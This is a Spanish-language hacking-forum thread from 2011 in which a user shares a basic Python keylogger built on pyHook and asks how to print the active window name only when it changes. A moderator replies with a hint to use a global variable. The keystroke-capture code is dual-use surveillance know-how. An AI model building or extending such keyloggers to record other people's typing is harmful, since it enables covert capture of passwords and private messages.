elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:15  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Python] print solo si cambia la variable
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] print solo si cambia la variable  (Leído 1,023 veces)
Fyrox

Desconectado Desconectado

Mensajes: 21


Ver Perfil
[Python] print solo si cambia la variable
« en: 18 Septiembre 2011, 01:12 »

Buenas de nuevo, esta vez mas que un error traigo una duda sobre un programilla que estoy intentando hacer. Veréis. me he lanzado a hacer un pequeño keylogger local muy muy básico (de momento, ya lo ampliare) con el modulo pyHook. Aquí esta:

Código
import pythoncom, pyHook
 
def strokes(event):
   print event.WindowName
   print event.Key
 
hm = pyHook.HookManager()
hm.KeyDown = strokes
hm.HookKeyboard()
pythoncom.PumpMessages()
 

Bien, este pequeño keylogger hace que cada vez que se pulse una tecla imprima en el programa el nombre de la ventana y la tecla. Esto queda bastante mal a la hora de leer lo que se ha escrito, ya que se escribiria el nombre de la ventana por cada tecla que se pulsase. Para solucionarlo, lo que quiero hacer es que imprima el nombre de la ventana, la tecla pulsada, y luego solamente imprima de nuevo el nombre de la ventana si esta cambia, no se si me explico.

Por ejemplo: escribes "facebook" en google, por lo que el nombre de la ventana seria "Google". A partir de ahi, quiero que solamente vuelva a escribir el nombre de la ventana si deja de ser "Google" para ser "Facebook" por ejemplo. Gracias de antemano.


« Última modificación: 18 Septiembre 2011, 01:16 por Fyrox » En línea
Novlucker
Ninja y
Moderador
***
Desconectado Desconectado

Mensajes: 10.239


Yo que tu lo pienso dos veces


Ver Perfil
Re: [Python] print solo si cambia la variable
« Respuesta #1 en: 28 Septiembre 2011, 04:13 »

Prueba guardando en una variable global para luego con un IF cotejar su valor

Saludos


En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Se cambia el Avatar solo...
Chats; IRC y Messengers
Ðevastador 5 649 Último mensaje 20 Noviembre 2003, 01:25
por Songoku
[Python] Comprobar que una variable es None (solucionado)
Scripting
Ragnarok 0 1,542 Último mensaje 22 Marzo 2007, 13:23
por Ragnarok
resolv.conf cambia solo...
GNU/Linux
lnvisible 5 1,592 Último mensaje 20 Octubre 2008, 16:59
por carolmuriel
[PYTHON]duda sobre variable [SOLUCIONADO]
Scripting
wACtOr 2 679 Último mensaje 18 Noviembre 2010, 23:01
por wACtOr
Eclipse loco cambia texto con solo pinchar el ratón
Java
fran800m 2 324 Último mensaje 16 Marzo 2012, 23:58
por fran800m
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines